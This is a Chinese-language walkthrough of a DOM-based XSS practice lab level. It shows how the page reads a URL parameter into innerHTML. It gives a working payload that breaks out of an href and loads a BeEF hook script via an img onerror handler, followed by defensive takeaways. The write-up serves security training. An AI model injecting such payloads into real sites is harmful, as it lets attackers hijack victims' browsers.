前言:
乍一看,这道题和上一题非常相似,都需要点击链接触发,且最终的利用 Payload 也通用。但通过源码分析,会发现两者在 数据提取方式 上有着本质的区别。这是一道典型的“从 URL 获取参数并写入 DOM”的题目。
1. 现象分析与操作流程
进入关卡,界面上出现了一个“请说出你的伤心往事”的输入框。
- 输入测试:随意输入字符(如
123),点击提交。 - 页面变化:
- URL 变成了
.../xss_dom_x.php?text=123。 - 页面出现了一个新链接:“有些费尽心机想要忘记的事情, 后来真的就忘掉了”。
- URL 变成了
- 触发逻辑:点击这行“有些费尽心机…”的文字,页面下方才会渲染出最终的攻击点——另一个链接“就让往事都随风, 都随风吧”。
2. 源码深度解析
为什么说这一关和上一关不同?来看前端源码:
function domxss(){
// 关键差异点:获取数据源的方式
var str = window.location.search; // 获取 URL 中的查询字符串 (例如 ?text=payload)
var txss = decodeURIComponent(str.split("text=")[1]); // 提取 text 参数的值并解码
var xss = txss.replace(/\+/g,' ');
// 漏洞点:Sink 依然是 innerHTML
document.getElementById("dom").innerHTML = "<a href='"+xss+"'> 就让往事都随风, 都随风吧 </a>";
}
对比分析:
- 上一关 (DOM 型 XSS):
var str = document.getElementById("text").value;- 数据直接来自页面上的输入框 DOM 元素。
- 本关 (DOM 型 XSS-x):
var str = window.location.search;- 数据来自 浏览器的 URL 参数。
攻击链条 :
用户提交表单 -> 参数进入 URL -> 点击链接触发 JS -> JS 从 URL 读取恶意参数 -> JS 将恶意代码通过 innerHTML 写入页面 -> 代码执行。
3. 渗透测试过程:BeEF 再次上线
既然 Sink 点(输出点)依然是 innerHTML,且同样是拼接在 <a> 标签的 href 属性中,那么上一关的 Payload 这里依然完美适用。
攻击思路 :
需要构造一个闭合 href 属性的 Payload,并利用 <img> 标签的 onerror 事件来加载 BeEF 的 Hook 脚本。
Payload:
'><img src=x onerror="var s=document.createElement('script');s.src='http://localhost:3000/hook.js';document.body.appendChild(s);">
操作步骤:
- 在“请说出你的伤心往事”输入框中填入上述 Payload 并提交。
- 此时 URL 变为:
xss_dom_x.php?text='><img src=x onerror=...> - 关键一步:点击页面上生成的“有些费尽心机…”链接。
- JS 函数
domxss()执行,从 URL 读取 Payload 并注入到 DOM 中。 <img>标签被渲染,onerror事件立即触发,BeEF 脚本加载执行。


注意 :实际上,当点击第一个链接触发 JS 后,innerHTML 写入的那一瞬间,<img> 标签就会尝试加载图片并报错, 不需要 你去点击那个新生成的“就让往事都随风”链接,BeEF 就已经上线了。
4. 总结
DOM XSS 与 DOM XSS-X 的异同:
- 相同点:
- 漏洞产生的根本原因都是前端代码逻辑不严谨。
- Sink(执行点)都是
innerHTML,导致无法直接使用<script>标签,需用事件绕过。
- 不同点:
- Source(输入点)不同。前者取自页面元素,后者取自 URL 参数。
- 防御侧重点不同。对于 DOM XSS-X,防御者不仅要关注输入框,还要警惕从
location.search、location.hash(URL 锚点) 等获取的数据。
实战意义 :
很多现代单页应用 (SPA) 喜欢从 URL 中获取参数来控制页面渲染(例如搜索结果页),如果未对 URL 参数进行过滤就直接写入 DOM,就会造成此类 XSS。
虽然原理一样,但 location.search 是 DOM XSS 中非常经典的一个 Source。这提醒我们在审计 JS 代码时,看到 location 对象及其属性就要格外敏感。